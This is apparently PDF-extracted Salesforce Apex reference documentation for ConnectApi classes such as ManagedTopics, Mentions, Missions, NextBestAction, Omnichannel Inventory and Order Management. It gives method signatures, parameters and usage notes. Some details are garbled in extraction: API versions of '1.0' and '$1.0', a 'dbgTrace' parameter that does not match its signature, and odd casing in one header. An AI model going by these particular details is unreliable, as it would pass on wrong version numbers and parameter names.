- **Type**: `ConnectApi.ManagedTopicCollection`

---

**reorderManagedTopics(communityId, managedTopicPositionCollection)**

Reorder the relative positions of managed topics in an Experience Cloud site.

**API Version**
- 32.0

**Requires Chatter**
- No

**Signature**

```
public static ConnectApi.ManagedTopicCollection reorderManagedTopics(String communityId, ConnectApi.ManagedTopicPositionCollectionInput managedTopicPositionCollection)
```

**Parameters**

- **communityId**
  - **Type**: `String`
    - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **managedTopicPositionCollection**
  - **Type**: `ConnectApi.ManagedTopicPositionCollectionInput`
    - A collection of relative positions of managed topics. This collection can include only Featured and Navigational topics and doesn't have to include all managed topics.

**Return Value**
- **Type**: `ConnectApi.ManagedTopicCollection`
Usage

Only community managers (users with the Create and Set Up Experiences or Manage Experiences permission) can reorder managed topics.

You can reorder parent managed topics or children managed topics with the same parent. If you don’t include all managed topics in the ConnectApi.ManagedTopicPositionCollectionInput, the managed topics are reordered by respecting the positions indicated in the ConnectApi.ManagedTopicPositionCollectionInput and then by pushing down any managed topics that aren’t included in the ConnectApi.ManagedTopicPositionCollectionInput to the next available position.

Example

If you have these managed topics:

<table>
<thead>
<tr>
<th>Managed Topic</th>
<th>Position</th>
</tr>
</thead>
<tbody>
<tr>
<td>ManagedTopicA</td>
<td>0</td>
</tr>
<tr>
<td>ManagedTopicB</td>
<td>1</td>
</tr>
<tr>
<td>ManagedTopicC</td>
<td>2</td>
</tr>
<tr>
<td>ManagedTopicD</td>
<td>3</td>
</tr>
<tr>
<td>ManagedTopicE</td>
<td>4</td>
</tr>
</tbody>
</table>

And you reorder managed topics by including this information in ConnectApi.ManagedTopicPositionCollectionInput:

<table>
<thead>
<tr>
<th>Managed Topic</th>
<th>Position</th>
</tr>
</thead>
<tbody>
<tr>
<td>ManagedTopicD</td>
<td>0</td>
</tr>
<tr>
<td>ManagedTopicE</td>
<td>2</td>
</tr>
</tbody>
</table>

The result is:

<table>
<thead>
<tr>
<th>Managed Topic</th>
<th>Position</th>
</tr>
</thead>
<tbody>
<tr>
<td>ManagedTopicD</td>
<td>0</td>
</tr>
<tr>
<td>ManagedTopicA</td>
<td>1</td>
</tr>
<tr>
<td>ManagedTopicE</td>
<td>2</td>
</tr>
<tr>
<td>ManagedTopicB</td>
<td>3</td>
</tr>
<tr>
<td>ManagedTopicC</td>
<td>4</td>
</tr>
</tbody>
</table>

Retired ManagedTopics Methods

The following methods for ManagedTopics are retired.
IN THIS SECTION:

getManagedTopics(communityId, managedTopicType, recordId, depth)

Get managed topics of the specified type, including their parent and children managed topics, that are associated with a given topic in an Experience Cloud site.

getManagedTopics(communityId, managedTopicType, recordId, depth)

Get managed topics of the specified type, including their parent and children managed topics, that are associated with a given topic in an Experience Cloud site.

API Version
35.0–37.0

Important: In version 38.0 and later, use getManagedTopics(communityId, managedTopicType, recordIds, depth).

Available to Guest Users
35.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId, ConnectApi.ManagedTopicType managedTopicType, String recordId, Integer depth)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

managedTopicType
Type: ConnectApi.ManagedTopicType
Type of managed topic.
- Content—Topics that are associated with native content.
- Featured—Topics that are featured, for example, on the Experience Cloud site home page, but don’t provide overall navigation.
- Navigational—Topics that display in a navigational menu in the Experience Cloud site.

A topic can be associated with all three managed topic types, so a topic can be a Featured, Navigational, and Content topic.

recordId
Type: String
ID of the topic associated with the managed topics.
**depth**

*Type: Integer*

Specify an integer 1–8. If you specify 1, the `children` property of the `ConnectApi.ManagedTopic` output class is **null**. If you specify 2, the `children` property of the `ConnectApi.ManagedTopic` output class contains the direct children managed topics, if any, of the managed topic. If you specify 3–8, you get the direct children managed topics and their children managed topics if there are any. If depth isn't specified, it defaults to 1.

**Return Value**

*Type: `ConnectApi.ManagedTopicCollection`*

**Mentions Class**

Access information about mentions. A mention is an `@` character followed by a user or group name. When a user or group is mentioned, they receive a notification.

**Namespace**

`ConnectApi`

**Mentions Methods**

The following are methods for `Mentions`. All methods are static.

**IN THIS SECTION:**

- `getMentionCompletions(communityId, q, contextId)`
  - Get the first page of possible users and groups to mention in a feed item body or comment body.
- `getMentionCompletions(communityId, q, contextId, type, pageParam, pageSize)`
  - Get a page of possible mention proposals of the specified type.
- `getMentionValidations(communityId, parentId, recordIds, visibility)`
  - Get information about whether the mentions are valid for the context user.

**getMentionCompletions(communityId, q, contextId)**

Get the first page of possible users and groups to mention in a feed item body or comment body.

**API Version**

29.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.MentionCompletionPage getMentionCompletions(String communityId, String q, String contextId)
```
Parameters

`communityId`
Type: String
Use the ID for an Experience Cloud site, internal, or null.

`q`
Type: String
A search term for matching user and group names. Searching for a group requires a minimum of 2 characters. Searching for a user doesn’t require a minimum number of characters. This parameter does not support wildcards.

`contextId`
Type: String
A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with more useful results listed first. Use a group ID for groups that allow customers to ensure mention completion results include customers.

Return Value
Type: `ConnectApi.MentionCompletionPage`

Usage
Call this method to generate a page of proposed mentions that a user can choose from when they enter characters after @ in a feed item body or a comment body.

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestGetMentionCompletions(communityId, q, contextId, result)`
- Testing ConnectApi Code

`getMentionCompletions(communityId, q, contextId, type, pageParam, pageSize)`
Get a page of possible mention proposals of the specified type.

API Version
29.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.Mentions getMentionCompletions (String communityId, String q, String contextId, ConnectApi.MentionCompletionType type, Integer pageParam, Integer pageSize)
```
Parameters

`communityId`
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

`q`
  - Type: String
  - A search term for matching user and group names. Searching for a group requires a minimum of 2 characters. Searching for a user doesn’t require a minimum number of characters. This parameter does not support wildcards.

`contextId`
  - Type: String
  - A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with more useful results listed first. Use a group ID for groups that allow customers to ensure mention completion results include customers.

`type`
  - Type: ConnectApi.MentionCompletionType
  - Type of mention completion.
    - All—All mention completions, regardless of the type of record to which the mention refers.
    - Group—Mention completions for groups.
    - User—Mention completions for users.

`pageParam`
  - Type: Integer
  - Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

`pageSize`
  - Type: Integer
  - Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value

Type: ConnectApi.MentionCompletionPage

Usage

Call this method to generate a page of proposed mentions that a user can choose from when they enter characters after @ in a feed item body or a comment body.

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetMentionCompletions(communityId, q, contextId, type, pageParam, pageSize, result)`
- `Testing ConnectApi Code`

`getMentionValidations(communityId, parentId, recordIds, visibility)`

Get information about whether the mentions are valid for the context user.
API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.Mentions getMentionValidations(String communityId, String parentId, List<String> recordIds, ConnectApi.FeedItemVisibilityType visibility)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

parentId
Type: String
The feed item parent ID.

recordIds
Type: List<String>
A comma separated list of IDs to be mentioned. The maximum value is 25.

visibility
Type: ConnectApi.FeedItemVisibilityType
Type of users who can see a feed item.
- AllUsers—Visibility is not limited to internal users.
- InternalUsers—Visibility is limited to internal users.

Return Value
Type: ConnectApi.MentionValidations

Usage
Call this method to check whether the record IDs returned from a call to ConnectApi.Mentions.getMentionCompletions are valid for the context user. For example, the context users can’t mention private groups they don’t belong to. If such a group were included in the list of mention validations, the ConnectApi.MentionValidations.hasErrors property would be true and the group would have a ConnectApi.MentionValidation.validationStatus of Disallowed.

Mentions Test Methods
The following are the test methods for Mentions. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.
setTestGetMentionCompletions(communityId, q, contextId, result)

Register a ConnectApi.MentionCompletionPage object to be returned when getMentionCompletions(String, String, String) is called in a test context.

API Version
29.0

Signature
public static Void setTestGetMentionCompletions (String communityId, String q, String contextId, ConnectApi.MentionCompletionPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
A search term for matching user and group names. Searching for a group requires a minimum of 2 characters. Searching for a user doesn't require a minimum number of characters. This parameter does not support wildcards.

contextId
Type: String
A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with more useful results listed first. Use a group ID for groups that allow customers to ensure mention completion results include customers.

result
Type: ConnectApi.MentionCompletionPage
A ConnectApi.MentionCompletionPage object containing test data.

Return Value
Type: Void

SEE ALSO:
getMentionCompletions(communityId, q, contextId)
Testing ConnectApi Code

setTestGetMentionCompletions(communityId, q, contextId, type, pageParam, pageSize, result)

Register a ConnectApi.MentionCompletionPage object to be returned when getMentionCompletions(String, String, String, ConnectApi.MentionCompletionType, Integer, Integer) is called in a test context.
Signature

```java
public static Void setTestGetMentionCompletions (String communityId, String q, String contextId, ConnectApi.MentionCompletionType type, Integer pageParam, Integer pageSize, ConnectApi.MentionCompletionPage result)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- **q**
  - Type: `String`
  - A search term for matching user and group names. Searching for a group requires a minimum of 2 characters. Searching for a user doesn’t require a minimum number of characters. This parameter does not support wildcards.

- **contextId**
  - Type: `String`
  - A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with more useful results listed first. Use a group ID for groups that allow customers to ensure mention completion results include customers.

- **type**
  - Type: `ConnectApi.MentionCompletionType`
  - Type of mention completion.
    - **All**—All mention completions, regardless of the type of record to which the mention refers.
    - **Group**—Mention completions for groups.
    - **User**—Mention completions for users.

- **pageParam**
  - Type: `Integer`
  - Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- **pageSize**
  - Type: `Integer`
  - Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

- **result**
  - Type: `ConnectApi.MentionCompletionPage`
  - A `ConnectApi.MentionCompletionPage` object containing test data.
Return Value
Type: Void

SEE ALSO:
getMentionCompletions(communityId, q, contextId, type, pageParam, pageSize)
Testing ConnectApi Code

Missions Class
Export and purge mission activity for users. Get a user’s mission progress. Update mission activity counts for users.

Namespace
ConnectApi

Missions Methods
The following are methods for Missions. All methods are static.

IN THIS SECTION:
exportUserMissionsActivities(communityId, userId)
Export mission activity for a user.
getUserMissionsProgress(communityId, userId)
Get mission activity progress for a user.
purgeUserMissionsActivities(communityId, userId)
Start a job to purge mission activity for a user.
purgeUserMissionsActivities(communityId)
Start a job to purge mission activity for all users.
updateUserMissionActivityCount(activityType, activityCount, communityId, userId)
Update the mission activity count for a user.

**exportUserMissionsActivities(communityId, userId)**
Export mission activity for a user.

API Version
45.0

Requires Chatter
No
public static ConnectApi.UserMissionActivitiesJob exportUserMissionsActivities(String communityId, String userId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
ID of the user.

Return Value
Type: ConnectApi.UserMissionActivitiesJob

Usage
You can export these activities with this method.

- FeedItemAnswerAQuestion—User answered a question.
- FeedItemLikeSomething—User liked a post or comment.
- FeedItemMarkAnswerAsBest—User marked an answer as the best answer.
- FeedItemPostQuestion—User posted a question.
- FeedItemReceiveAComment—User received a comment on a post.
- FeedItemReceiveALike—User received a like on a post or comment.
- FeedItemReceiveAnAnswer—User received an answer to a question.
- FeedItemWriteAComment—User commented on a post.
- FeedItemWriteAPost—User made a post.
- FeedItemYourAnswerMarkedBest—User’s answer was marked as the best answer.

getUserMissionsProgress(communityId, userId)
Get mission activity progress for a user.
**getUserMissionsProgress**

**Signature**

```java
public static ConnectApi.UserMissionActivityCollection getUserMissionsProgress(String communityId, String userId)
```

**Parameters**

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **userId**
  - Type: String
  - ID of the user.

**Return Value**

Type: `ConnectApi.UserMissionActivityCollection`

**purgeUserMissionsActivities**

**Signature**

```java
public static ConnectApi.UserMissionActivitiesJob purgeUserMissionsActivities(String communityId, String userId)
```

**Parameters**

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **userId**
  - Type: String
  - ID of the user.

**Return Value**

Type: `ConnectApi.UserMissionActivitiesJob`
Usage

This method purges these activities.

- **FeedItemAnswerAQuestion**—User answered a question.
- **FeedItemLikeSomething**—User liked a post or comment.
- **FeedItemMarkAnswerAsBest**—User marked an answer as the best answer.
- **FeedItemPostQuestion**—User posted a question.
- **FeedItemReceiveAComment**—User received a comment on a post.
- **FeedItemReceiveALike**—User received a like on a post or comment.
- **FeedItemReceiveAnAnswer**—User received an answer to a question.
- **FeedItemWriteAComment**—User commented on a post.
- **FeedItemWriteAPost**—User made a post.
- **FeedItemYourAnswerMarkedBest**—User's answer was marked as the best answer.

### purgeUserMissionsActivities(communityId)

Start a job to purge mission activity for all users.

API Version

49.0

Requires Chatter

No

Signature

```java
public static ConnectApi.UserMissionActivitiesJob purgeUserMissionsActivities(String communityId)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

Return Value

Type: `ConnectApi.UserMissionActivitiesJob`

Usage

This method purges these activities.

- **FeedItemAnswerAQuestion**—User answered a question.
- **FeedItemLikeSomething**—User liked a post or comment.
- **FeedItemMarkAnswerAsBest**—User marked an answer as the best answer.
• FeedItemPostQuestion—User posted a question.
• FeedItemReceiveAComment—User received a comment on a post.
• FeedItemReceiveALike—User received a like on a post or comment.
• FeedItemReceiveAnAnswer—User received an answer to a question.
• FeedItemWriteAComment—User commented on a post.
• FeedItemWriteAPost—User made a post.
• FeedItemYourAnswerMarkedBest—User’s answer was marked as the best answer.

`updateUserMissionActivityCount(activityType, activityCount, communityId, userId)`

Update the mission activity count for a user.

API Version
45.0

Requires Chatter
No

Signature
`public static ConnectApi.UserMissionActivityStatus updateUserMissionActivityCount(ConnectApi.UserMissionActivityType activityType, Integer activityCount, String communityId, String userId)`

Parameters

`activityType`
Type: `ConnectApi.UserMissionActivityType`

Type of mission activity for a user. Values are:
• FeedItemAnswerAQuestion—User answered a question.
• FeedItemLikeSomething—User liked a post or comment.
• FeedItemMarkAnswerAsBest—User marked an answer as the best answer.
• FeedItemPostQuestion—User posted a question.
• FeedItemReceiveAComment—User received a comment on a post.
• FeedItemReceiveALike—User received a like on a post or comment.
• FeedItemReceiveAnAnswer—User received an answer to a question.
• FeedItemWriteAComment—User commented on a post.
• FeedItemWriteAPost—User made a post.
• FeedItemYourAnswerMarkedBest—User’s answer was marked as the best answer.

`activityCount`
Type: `Integer`

Number of mission activities of the specified type for the user.
communityId
   Type: String
   Use the ID for an Experience Cloud site, internal, or null.

userId
   Type: String
   ID of the user.

Return Value
   Type: ConnectApi.UserMissionActivityStatus

NextBestAction Class
   Execute recommendation strategies, get recommendations, manage recommendation reactions.

Namespace
   ConnectApi

NextBestAction Methods
   The following are methods for NextBestAction. All methods are static.

IN THIS SECTION:
   deleteRecommendationReaction(reactionId)
   Delete a recommendation reaction.

   executeStrategy(strategyName, maxResults, contextRecordId)
   Execute a strategy.

   executeStrategy(strategyName, maxResults, contextRecordId, debugTrace)
   Execute a strategy and request a trace.

   executeStrategy(strategyName, strategyInput)
   Execute a strategy using an input class.

   getRecommendation(recommendationId)
   Get a recommendation.

   getRecommendationReaction(reactionId)
   Get a recommendation reaction.

   getRecommendationReactions(onBehalfOfId, createdById, targetId, contextRecordId, pageParam, pageSize)
   Get recommendation reactions.

   setRecommendationReaction(reaction)
   Record user reactions to recommendations.

   deleteRecommendationReaction(reactionId)
   Delete a recommendation reaction.
API Version
45.0

Requires Chatter
No

Signature
public static Void deleteRecommendationReaction(String reactionId)

Parameters
reactionId
Type: String
ID of the recommendation reaction.

Return Value
Type: Void

Usage
Users with the Manage Next Best Action Recommendations or Modify All Data permission can delete recommendation reactions.

executeStrategy(strategyName, maxResults, contextRecordId)
Execute a strategy.

API Version
45.0

Available to Guest Users
45.0

Requires Chatter
No

Signature
public static ConnectApi.NBARecommendations executeStrategy(String strategyName, Integer maxResults, String contextRecordId)

Parameters
strategyName
Type: String
Name of the strategy.

maxResults
Type: Integer
Maximum number of results. Valid values are from 1 to 25. The default is 3.

contextRecordId
Type: String
ID of the context record. For example, if the next best action is on a case detail page, the ID of the case.

Return Value
Type: ConnectApi.NBARecommendations

executeStrategy(strategyName, maxResults, contextRecordId, debugTrace)
Execute a strategy and request a trace.

API Version
45.0

Available to Guest Users
45.0

Requires Chatter
No

Signature
public static ConnectApi.NBARecommendations executeStrategy(String strategyName, Integer maxResults, String contextRecordId, Boolean debugTrace)

Parameters
strategyName
Type: String
Name of the strategy.

maxResults
Type: Integer
Maximum number of results. Valid values are from 1 to 25. The default is 3.

contextRecordId
Type: String
ID of the context record. For example, if the next best action is on a case detail page, the ID of the case.

dbgTrace
Type: Boolean
Specifies whether to return trace and debug information in the response (true) or not (false).
Return Value
Type: `ConnectApi.NBARecommendations`

**executeStrategy(strategyName, strategyInput)**
Execute a strategy using an input class.

API Version
45.0

Available to Guest Users
45.0

Requires Chatter
No

Signature
```java
public static ConnectApi.NBARecommendations executeStrategy(String strategyName, ConnectApi.NBAStrategyInput strategyInput)
```

Parameters

- **strategyName**
  - Type: `String`
  - Name of the strategy.

- **strategyInput**
  - Type: `ConnectApi.NBAStrategyInput`
  - A `ConnectApi.NBAStrategyInput` body.

Return Value
Type: `ConnectApi.NBARecommendations`

**getRecommendation(recommendationId)**
Get a recommendation.

API Version
45.0

Requires Chatter
No
public static ConnectApi.Recommendation getRecommendation(String recommendationId)

Parameters
recommendationId
  Type: String
  ID of the recommendation.

Return Value
Type: ConnectApi.Recommendation

getRecommendationReaction(String reactionId)
Get a recommendation reaction.

API Version
45.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationReaction getRecommendationReaction(String reactionId)

Parameters
reactionId
  Type: String
  ID of the recommendation reaction.

Return Value
Type: ConnectApi.RecommendationReaction

Usage
Users with the Manage Next Best Action Recommendations or Modify All Data permission can get recommendation reactions.

getRecommendationReactions(onBehalfOfId, createdById, targetId, contextRecordId, pageParam, pageSize)
Get recommendation reactions.
API Version
45.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationReactions getRecommendationReactions(String onBehalfOfId, String createdById, String targetId, String contextRecordId, Integer pageParam, Integer pageSize)

Parameters
onBehalfOfId
  Type: String
  Use the ID of the user who is indirectly reacting to the recommendation to filter the results.

createdById
  Type: String
  Use the ID of the user or record that created the recommendation reaction to filter the results.

targetId
  Type: String
  Use the ID of the target to filter the results.

contextRecordId
  Type: String
  Use the ID of a context record to filter the results.

pageParam
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.RecommendationReactions

Usage
Users with the Manage Next Best Action Recommendations or Modify All Data permission can get recommendation reactions.

setRecommendationReaction(reaction)
Record user reactions to recommendations.
API Version
45.0

Available to Guest Users
48.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationReaction
setRecommendationReaction(ConnectApi.RecommendationReactionInput reaction)

Parameters
reaction
  Type: ConnectApi.RecommendationReactionInput
  A ConnectApi.RecommendationReactionInput object representing a reaction to a recommendation produced by a recommendation strategy.

Return Value
Type: ConnectApi.RecommendationReaction

OmnichannelInventoryService Class
Route orders to inventory locations in Order Management.

Namespace
ConnectApi

OmnichannelInventoryService Methods
The following are methods for OmnichannelInventoryService. All methods are static.

IN THIS SECTION:
  createReservation(createReservationInputRepresentation)
  Create an inventory reservation in Omnichannel Inventory.
  fulfillReservation(fulfillReservationInputRepresentation)
  Fulfill one or more inventory reservations.
  getInventoryAvailability(inventoryAvailabilityInputRepresentation)
  Retrieve inventory availability data for one or more products at one or more inventory locations or location groups.
getInventoryAvailabilityUploadStatus(uploadId)
Retrieve the status of an inventory availability upload job.

getPublishLocationStructureStatus(uploadId)
Retrieve the status of a publish location structure job.

publishLocationStructure()
Asynchronously publish information about your inventory locations and location groups to Omnichannel Inventory. The publish includes records whose IsEnabled and ShouldSyncWithOci fields are both true. This method returns an ID that you can use to retrieve the status of the publish job.

releaseReservation(releaseReservationInputRepresentation)
Release one or more existing inventory reservations to free up that inventory.

submitInventoryAvailabilityUpload(fileUpload)
Upload an inventory availability data file to Omnichannel Inventory.

transferReservation(transferReservationInputRepresentation)
Transfer one or more inventory reservations between locations or location groups. This API doesn’t change physical quantities, but reduces the reserved quantity at the source and increases it at the destination.

cREATE RESERVATION (createReservationInputRepresentation)
Create an inventory reservation in Omnichannel Inventory.

API Version
51.0

Requires Chatter
No

Signature
public static ConnectApi.OCICreateReservationOutputRepresentation createReservation(ConnectApi.OCICreateReservationInputRepresentation createReservationInputRepresentation)

Parameters
createReservationInputRepresentation
Type: ConnectApi.OCICreateReservationInputRepresentation on page 2062
Data to reserve inventory at one or more Omnichannel Inventory locations or location groups.

Return Value
Type: ConnectApi.OCICreateReservationOutputRepresentation on page 2246

fulfillReservation(fulfillReservationInputRepresentation)
Fulfill one or more inventory reservations.
API Version
1.0

Requires Chatter
No

Signature
public static ConnectApi.OCIFulfillReservationOutputRepresentation fulfillReservation(ConnectApi.OCIFulfillReservationInputRepresentation fulfillReservationInputRepresentation)

Parameters
fulfillReservationInputRepresentation
  Type: ConnectApi.OCIFulfillReservationInputRepresentation on page 2063
  Wraps a list of inventory reservations to fulfill.

Return Value
Type: ConnectApi.OCIFulfillReservationOutputRepresentation on page 2246

getInventoryAvailability(inventoryAvailabilityInputRepresentation)
Retrieve inventory availability data for one or more products at one or more inventory locations or location groups.

API Version
1.0

Requires Chatter
No

Signature
public static ConnectApi.OCIGetInventoryAvailabilityOutputRepresentation getInventoryAvailability(ConnectApi.OCIGetInventoryAvailabilityInputRepresentation inventoryAvailabilityInputRepresentation)

Parameters
inventoryAvailabilityInputRepresentation
  Type: ConnectApi.OCIGetInventoryAvailabilityInputRepresentation on page 2064
  Details of a request to retrieve inventory availability.

Return Value
Type: ConnectApi.OCIGetInventoryAvailabilityOutputRepresentation on page 2247
getInventoryAvailabilityUploadStatus(uploadId)
Retrieve the status of an inventory availability upload job.

API Version
51.0

Requires Chatter
No

Signature
public static ConnectApi.OCIUploadInventoryAvailabilityStatusOutputRepresentation getInventoryAvailabilityUploadStatus(String uploadId)

Parameters
uploadId
Type: String
The uploadId of the upload job.

Return Value
Type: ConnectApi.OCIUploadInventoryAvailabilityStatusOutputRepresentation on page 2251

getPublishLocationStructureStatus(uploadId)
Retrieve the status of a publish location structure job.

API Version
51.0

Requires Chatter
No

Signature
public static ConnectApi.OCIPublishLocationStructureStatusOutputRepresentation getPublishLocationStructureStatus(String uploadId)

Parameters
uploadId
Type: String
The uploadId of the publish job.
publishLocationStructure()

Asynchronously publish information about your inventory locations and location groups to Omnichannel Inventory. The publish includes records whose `isEnabled` and `shouldSyncWithOci` fields are both `true`. This method returns an ID that you can use to retrieve the status of the publish job.

API Version

51.0

Requires Chatter

No

Signature

```java
public static ConnectApi.OCIPublishLocationStructureOutputRepresentation publishLocationStructure()
```

Return Value

Type: `ConnectApi.OCIPublishLocationStructureOutputRepresentation` on page 2248

releaseReservation(releaseReservationInputRepresentation)

Release one or more existing inventory reservations to free up that inventory.

API Version

51.0

Requires Chatter

No

Signature

```java
public static ConnectApi.OCIReleaseReservationOutputRepresentation releaseReservation(ConnectApi.OCIReleaseReservationInputRepresentation releaseReservationInputRepresentation)
```

Parameters

`releaseReservationInputRepresentation`

Type: `ConnectApi.OCIReleaseReservationInputRepresentation` on page 2065

Details of one or more inventory reservations to release.
Return Value
Type: `ConnectApi.OCIReleaseReservationOutputRepresentation` on page 2249

`submitInventoryAvailabilityUpload(fileUpload)`
Upload an inventory availability data file to Omnichannel Inventory.

API Version
$1.0

Requires Chatter
No

Signature

```java
public static ConnectApi.OCIUploadInventoryAvailabilityOutputRepresentation submitInventoryAvailabilityUpload(ConnectApi.BinaryInput fileUpload)
```

Parameters

`fileUpload`
- Type: `ConnectApi.BinaryInput` on page 2031
- JSON file containing inventory availability data.

Return Value
Type: `ConnectApi.OCIUploadInventoryAvailabilityOutputRepresentation` on page 2251

Usage

Use this JSON format for the data file:

- Note: Don't separate location and inventory record entries with commas.

```json
{
    "location": "Warehouse-A",  // location identifier
    "mode": "UPDATE"  // must be UPDATE (other operations might be available in future releases)
}
{
    "recordId": "0a87539d-f3dd-47bc-91c7-9c752e39dbe0",  // unique identifier for the inventory record
    "onHand": 10,
    "sku": "12389156",
    "effectiveDate": "2020-12-08T14:05:22.790896-07:00",
    "futures": [  // list of future restocks
        {
            "quantity": 1,
            "expectedDate": "2021-04-18T14:05:22.781-07:00"
        }
    ]
}
```
transferReservation(transferReservationInputRepresentation)
Transfer one or more inventory reservations between locations or location groups. This API doesn’t change physical quantities, but reduces the reserved quantity at the source and increases it at the destination.

API Version
51.0

Requires Chatter
No

Signature
public static ConnectApi.OCITransferReservationOutputRepresentation transferReservation(ConnectApi.OCITransferReservationInputRepresentation transferReservationInputRepresentation)

Parameters
transferReservationInputRepresentation
Type: ConnectApi.OCITransferReservationInputRepresentation on page 2066
Wraps a list of inventory reservation transfers and specifies whether a single failure cancels the entire list.

Return Value
Type: ConnectApi.OCITransferReservationOutputRepresentation on page 2250

OrderPaymentSummary Class
Work with payments in Order Management.

Namespace
ConnectApi

OrderPaymentSummary Methods
The following are methods for OrderPaymentSummary. All methods are static.

IN THIS SECTION:
createOrderPaymentSummary(orderPaymentSummaryInput)
Create an OrderPaymentSummary for an OrderSummary. Specify a payment authorization or payments that share the same payment method. In an org with the multicurrency feature enabled, the OrderPaymentSummary inherits the CurrencyIsoCode value from the OrderSummary.
**createOrderPaymentSummary(orderPaymentSummaryInput)**

Create an OrderPaymentSummary for an OrderSummary. Specify a payment authorization or payments that share the same payment method. In an org with the multicurrency feature enabled, the OrderPaymentSummary inherits the CurrencyIsoCode value from the OrderSummary.

**API Version**

48.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.CreateOrderPaymentSummaryOutputRepresentation createOrderPaymentSummary(ConnectApi.CreateOrderPaymentSummaryInputRepresentation orderPaymentSummaryInput)
```

**Parameters**

*orderPaymentSummaryInput*

Type: `ConnectApi.CreateOrderPaymentSummaryInputRepresentation`

The OrderSummary and payment authorization or payments.

**Return Value**

Type: `ConnectApi.CreateOrderPaymentSummaryOutputRepresentation`

**Example**

```java
String orderSummaryId = '1Osxx0000004CCG';
String paymentId1 = '0a3xx0000000085AAA';
String paymentId2 = '0a3xx0000000085BBB';

ConnectApi.CreateOrderPaymentSummaryInputRepresentation orderPaymentSummaryInput = new
ConnectApi.CreateOrderPaymentSummaryInputRepresentation();
orderPaymentSummaryInput.orderSummaryId = orderSummaryId;
List<String> paymentList = new List<String>();
paymentList.add(paymentId1);
paymentList.add(paymentId2);
orderPaymentSummaryInput.paymentIds = paymentList;

ConnectApi.CreateOrderPaymentSummaryOutputRepresentation result =
ConnectAPI.OrderPaymentSummary.createOrderPaymentSummary(orderPaymentSummaryInput);
```

**OrderSummary Class**

Work with orders in Order Management.
Namespace

ConnectApi

OrderSummary Methods

The following are methods for OrderSummary. All methods are static.

IN THIS SECTION:

adjustPreview(orderSummaryId, adjustInput)
Retrieve the expected results of adjusting the price of one or more OrderItemSummaries from an OrderSummary, without actually executing the adjustment. The response data contains the financial changes that would result from submitting the proposed adjustment.

adjustSubmit(orderSummaryId, adjustInput)
Adjust the price of one or more OrderItemSummaries from an OrderSummary, and create one or two corresponding change orders.

createCreditMemo(orderSummaryId, creditMemoInput)
Create a credit memo to represent the refund for one or more change orders associated with an OrderSummary.

ensureFundsAsync(orderSummaryId, ensureFundsInput)
Ensure funds for an invoice and apply them to it. If needed, capture authorized funds by sending a request to a payment provider. This method inserts a background operation into an asynchronous job queue and returns the ID of that operation so you can track its status. Payment gateway responses appear in the payment gateway log and do not affect the background operation status.

ensureRefundsAsync(orderSummaryId, ensureRefundsInput)
Ensure refunds for a credit memo or excess funds by sending a request to a payment provider. This method inserts a background operation into an asynchronous job queue and returns the ID of that operation so you can track its status. Payment gateway responses appear in the payment gateway log and do not affect the background operation status.

previewCancel(orderSummaryId, changeInput)
Retrieve the expected change order values for canceling one or more OrderItemSummaries from an OrderSummary, without actually executing the cancel.

previewReturn(orderSummaryId, changeInput)
Retrieve the expected change order values for returning one or more OrderItemSummaries from an OrderSummary, without actually executing the return.

submitCancel(orderSummaryId, changeInput)
Cancel one or more OrderItemSummaries from an OrderSummary, and create a corresponding change order.

submitReturn(orderSummaryId, changeInput)
Return one or more OrderItemSummaries from an OrderSummary, and create a corresponding change order.

adjustPreview(orderSummaryId, adjustInput)
Retrieve the expected results of adjusting the price of one or more OrderItemSummaries from an OrderSummary, without actually executing the adjustment. The response data contains the financial changes that would result from submitting the proposed adjustment.

API Version

49.0
Requires Chatter
No

Signature
public static ConnectApi.AdjustOrderSummaryOutputRepresentation adjustPreview(String orderSummaryId, ConnectApi.AdjustOrderItemSummaryInputRepresentation adjustInput)

Parameters

orderSummaryId
Type: String
ID of the OrderSummary.

adjustInput
Type: ConnectApi.AdjustOrderItemSummaryInputRepresentation
A list of price adjustments to OrderItemSummaries that make up a price adjustment to an order.

Return Value
Type: ConnectApi.AdjustOrderSummaryOutputRepresentation

SEE ALSO:
createCreditMemo(orderSummaryId, creditMemoInput)
ensureRefundsAsync(orderSummaryId, ensureRefundsInput)
